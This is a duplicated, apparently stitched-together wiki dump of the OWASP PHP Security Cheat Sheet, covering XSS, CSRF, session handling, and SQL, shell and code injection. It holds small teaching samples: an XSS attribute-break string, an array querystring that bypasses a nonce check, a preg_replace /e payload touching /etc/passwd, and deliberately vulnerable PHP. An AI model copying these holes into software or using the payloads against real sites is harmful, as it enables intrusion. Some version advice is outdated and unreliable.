If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.

Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.

If you cannot switch to a secure template engine, you can use the function below on all untrusted data.

'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.

//xss mitigation functions
function xssafe($data,$encoding='UTF-8')
{
return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);
}
function xecho($data)
{
echo xssafe($data);
}

//usage example
<input type='text' name='test' value='<?php
xecho ("' onclick='alert(1)");
?>' />

==Untrusted Tags==
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.

==Templating engines==

There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.

Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.

==Other Tips==

* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.

* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)

* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.

* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.

* Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256

* Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.

=CSRF Cheat Sheet=
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:

* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.

The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version would be available (hopefully). For now, mix that with the following tips:

* Use re-authentication for critical operations (change password, recovery email, etc.)
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.

=Authentication and Session Management Cheat Sheet=
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:

==Session Management==
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:

* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.

===Session Hijacking Prevention===
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.

To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:

$IP = getenv ( "REMOTE_ADDR" );

Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic. Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )

===Invalidate Session ID===
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).

===Rolling of Session ID===
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.

===Exposed Session ID===
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.

Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.

===Session Fixation===
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].

===Session Expiration===
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.

Also keep the '''log out''' button close, and unset all traces of the session on log out.

====Inactivity Timeout====
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria.

This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.

====General Timeout====
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.

===Cookies===
Handling cookies in a PHP script has some tricks to it:

====Never Serialize====
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.

====Proper Deletion====
To delete a cookie safely, use the following snippet:

setcookie ($name, "", 1);
setcookie ($name, false);
unset($_COOKIE[$name]);
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.

You can also use '''session_name()''' to retrieve the name default PHP session cookie.

====HTTP Only====
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.

To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):

#prototype
bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )

#usage
if (!setcookie("MySessionID", $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))
echo ("could not set HTTP-only cookie");

The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:

$r=setcookie("SECSESSID","1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973",time()+60*60*24*7 /*a week*/,"/","owasp.org",true,true);
if (!$r) die("Could not set session cookie.");

====Internet Explorer issues====
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.

==Authentication==

===Remember Me===
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.

It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.

* '''Never store username/password or any relevant information in the cookie.'''

=Configuration and Deployment Cheat Sheet=
Please see [[PHP Configuration Cheat Sheet]].

= Authors and Primary Editors =

[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])

[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]

[mailto:vanderaj@owasp.org Andrew van der Stock]

[mailto:L.Plant.98@cantab.net Luke Plant]

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

PHP Security Cheat Sheet

2015-06-19T09:14:50Z

Luke Plant: /* URL routing */

= Introduction =
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.

==PHP overview==

PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.

An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the language. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.

PHP is a 'grown' language rather than deliberately engineered, making writing insecure PHP applications far too easy and common. If you want to use PHP securely, then you should be aware of all its pitfalls.

===Language issues===

====Weak typing====

PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).

Try to use functions and operators that do not do implicit type conversions (e.g. <code>===</code> and not <code>==</code>). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like <code>in_array</code>) use weakly typed comparison functions by default, making it difficult to write correct code.

====Exceptions and error handling====

Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In many other languages, and most high level languages that compete with PHP, error conditions that are caused by developer errors, or runtime errors that the developer has failed to anticipate, will cause the program to stop running, which is the safest thing to do.

Consider the following code which attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:

$db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');

function can_access_feature($current_user) {
global $db_link;
$username = mysqli_real_escape_string($db_link, $current_user->username);
$res = mysqli_query($db_link, "SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';");
$row = mysqli_fetch_array($res);
if ((int)$row[0] > 0) {
return false;
} else {
return true;
}
}

if (!can_access_feature($current_user)) {
exit();
}

// Code for feature here

There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the <code>mysqli_</code> functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable <code>$row</code> becomes <code>NULL</code>, and PHP will evaluate <code>$row[0]</code> also as <code>NULL</code>, and <code>(int)$row[0]</code> as <code>0</code>, due to weak typing. Eventually the <code>can_access_feature</code> function returns <code>true</code>, giving access to all users, whether they are on the blacklist or not.

If these native database APIs are used, error checking should be added at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate.
This is why accessing a database should always be done by using [http://php.net/manual/en/intro.pdo.php PHP Data Objects (PDO)] specified with the [http://php.net/manual/en/pdo.error-handling.php ERRMODE_WARNING or ERRMODE_EXCEPTION flags] unless there is a clearly compelling reason to use native drivers and careful error checking.

It is often best to turn up error reporting as high as possible using the
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.

====php.ini====

The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”

====Unhelpful builtins====

PHP comes with many built-in functions, such as <code>addslashes</code>, <code>mysql_escape_string</code> and
<code>mysql_real_escape_string</code>, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems. Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.

PHP also provides an 'array' data structure, which is used extensively in all PHP code and internally, that is a confusing mix between an array and a dictionary. This confusion can cause even experienced PHP developers to introduce critical security vulnerabilities such as [https://www.drupal.org/SA-CORE-2014-005 Drupal SA-CORE-2014-005] (see [http://cgit.drupalcode.org/drupal/commit/?id=26a7752c34321fd9cb889308f507ca6bdb777f08 the patch]).

===Framework issues===

====URL routing====

PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:

* Remote execution vulnerability for every file upload feature that does not sanitise the filename. (In other words, the web server executes something instead of serving it). Ensure that when saving uploaded files, the content and filename are appropriately sanitised.

* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. (In other words, the web server serves a resource which should have been private or executable only). You can use <code>.htaccess</code> to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.

* The URL routing mechanism is the same as the module system. This means it is often possible for attackers to use files as entry points which were not designed as such. This can open up vulnerabilities where authentication mechanisms are bypassed entirely - a simple refactoring that pulls code out into a separate file can open a vulnerability. This is made particularly easy in PHP because it has globally accessible request data ($_GET etc), so file-level code can be imperative code that operates on the request, rather than needing request handling code to be within function definitions.

* The lack of a proper URL routing mechanism often leads to developers creating their own ad-hoc methods. These are often insecure and fail to apply appropriate authorization restrictions on different request handling functionality.

====Input handling====

Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a "one time nonce" mechanism that might be used, for example in a password reset code:

$supplied_nonce = $_GET['nonce'];
$correct_nonce = get_correct_value_somehow();

if (strcmp($supplied_nonce, $correct_nonce) == 0) {
// Go ahead and reset the password
} else {
echo 'Sorry, incorrect link';
}

If an attacker uses a querystring like this:

http://example.com/?nonce[]=a

then we end up with <code>$supplied_nonce</code> being an array. The function <code>strcmp()</code> will then return <code>NULL</code> (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the <code>==</code> (equality) operator instead of the <code>===</code> (identity) operator, the comparison succeeds (since the expression <code>NULL == 0</code> is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.

Exactly the same issue, combined with the confusion of PHP's 'array' data structure, can be exploited in issues such as [https://www.drupal.org/SA-CORE-2014-005 Drupal SA-CORE-2014-005] - see [http://www.zoubi.me/blog/drupageddon-sa-core-2014-005-drupal-7-sql-injection-exploit-demo example exploit].

====Template language====

PHP is essentially a template language. However, it doesn't do HTML escaping by
default, which makes it very problematic for use in a web application - see
section on XSS below.

====Other inadequacies====

There are other important things that a web framework should supply, such as a
CSRF protection mechanism that is on by default. Because PHP comes with a
rudimentary web framework that is functional enough to allow people to create
web sites, many people will do so without any knowledge that they need CSRF
protection.

===Third party PHP code===

Libraries and projects written in PHP are often insecure due to the problems
highlighted above, especially when proper web frameworks are not used. Do not
trust PHP code that you find on the web, as many security vulnerabilities can
hide in seemingly innocent code.

Poorly written PHP code often results in warnings being emitted, which can cause
problems. A common solution is to turn off all notices, which is exactly the opposite
of what ought to be done (see above), and leads to progressively worse code.

==Update PHP Now==
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''

Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.

=Configuration=

The behaviour of PHP is strongly affected by configuration, which can be done through the "php.ini" file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php

There are many security related configuration options. Some are listed below:

==SetHandler==

PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name "foo.php.txt" will be handled as PHP code, which can be a very serious remote execution vulnerability if "foo.php.txt" was not intended to be executed (e.g. example code) or came from a malicious file upload.

=Untrusted data=
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.

Super globals which are not to be trusted are <code>$_SERVER</code>, <code>$_GET</code>, <code>$_POST</code>, <code>$_REQUEST</code>, <code>$_FILES</code> and <code>$_COOKIE</code>. Not all data in <code>$_SERVER</code> can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with <code>HTTP_</code>).

==File uploads==

Files received from a user pose various security threats, especially if other users can download these files. In particular:

* Any file served as HTML can be used to do an XSS attack
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.

Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.

==Common mistakes on the processing of $_FILES array==
It is common to find code snippets online doing something similar to the following code:

if ($_FILES['some_name']['type'] == 'image/jpeg') {
//Proceed to accept the file as a valid image
}

However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.

$finfo = new finfo(FILEINFO_MIME_TYPE);
$fileContents = file_get_contents($_FILES['some_name']['tmp_name']);
$mimeType = $finfo->buffer($fileContents);

Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.

==Use of $_REQUEST==
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. All of this data is combined into one array, making it almost impossible to determine the source of the data. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.

=Database Cheat Sheet=
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:

==Never concatenate or interpolate data in SQL==

Never build up a string of SQL that includes user data, either by concatenation:

$sql = "SELECT * FROM users WHERE username = '" . $username . "';";

or interpolation, which is essentially the same:

$sql = "SELECT * FROM users WHERE username = '$username';";

If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc. Using prepared statements and bound parameters is a much better solution. PHP's [mysqli](http://php.net/mysqli) and [PDO](http://php.net/pdo) functionality includes this feature (see below).

==Escaping is not safe==
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.

'''Why:'''
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).

==Use Prepared Statements==
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was.

See the PHP docs on [http://php.net/manual/en/mysqli.quickstart.prepared-statements.php MySQLi prepared statements] and [http://php.net/manual/en/pdo.prepare.php PDO prepared statements]

===Where prepared statements do not work===
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. Additionally, they cannot be used for things like table names or columns in `SELECT` statements. In these cases, you should use query builder that is provided by a framework, if available. If not, several packages are available for use via [http://getcomposer.org Composer] and [http://packagist.org Packagist] Do not roll your own.

==ORM==
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.

Always be sure to evaluate the code of *any* ORM you use to validate how it handles the execution of the SQL it generates. Ensure it does not concatenate the values and instead uses prepared statements internally as well as following good security practices.

==Encoding Issues==

===Use UTF-8 unless necessary===
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

=Other Injection Cheat Sheet=
SQL aside, there are a few more injections possible ''and common'' in PHP:

==Shell Injection==
A few PHP functions namely

* shell_exec
* exec
* passthru
* system
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )

run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.

Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you.

==Code Injection==
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.

Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].

preg_replace("/.*/e","system('echo /etc/passwd')");

Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.

==Other Injections==
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.

=XSS Cheat Sheet=

There are two scenarios when it comes to XSS, each one to be mitigated accordingly:

== No Tags ==

Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.

If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.

Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.

If you cannot switch to a secure template engine, you can use the function below on all untrusted data.

'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.

//xss mitigation functions
function xssafe($data,$encoding='UTF-8')
{
return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);
}
function xecho($data)
{
echo xssafe($data);
}

//usage example
<input type='text' name='test' value='<?php
xecho ("' onclick='alert(1)");
?>' />

==Untrusted Tags==
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.

==Templating engines==

There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.

Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.

==Other Tips==

* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.

* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)

* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.

* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.

* Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256

* Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.

=CSRF Cheat Sheet=
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:

* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.

The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version would be available (hopefully). For now, mix that with the following tips:

* Use re-authentication for critical operations (change password, recovery email, etc.)
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.

=Authentication and Session Management Cheat Sheet=
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:

==Session Management==
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:

* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.

===Session Hijacking Prevention===
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.

To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:

$IP = getenv ( "REMOTE_ADDR" );

Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic. Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )

===Invalidate Session ID===
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).

===Rolling of Session ID===
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.

===Exposed Session ID===
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.

Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.

===Session Fixation===
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].

===Session Expiration===
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.

Also keep the '''log out''' button close, and unset all traces of the session on log out.

====Inactivity Timeout====
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria.

This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.

====General Timeout====
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.

===Cookies===
Handling cookies in a PHP script has some tricks to it:

====Never Serialize====
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.

====Proper Deletion====
To delete a cookie safely, use the following snippet:

setcookie ($name, "", 1);
setcookie ($name, false);
unset($_COOKIE[$name]);
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.

You can also use '''session_name()''' to retrieve the name default PHP session cookie.

====HTTP Only====
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.

To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):

#prototype
bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )

#usage
if (!setcookie("MySessionID", $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))
echo ("could not set HTTP-only cookie");

The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:

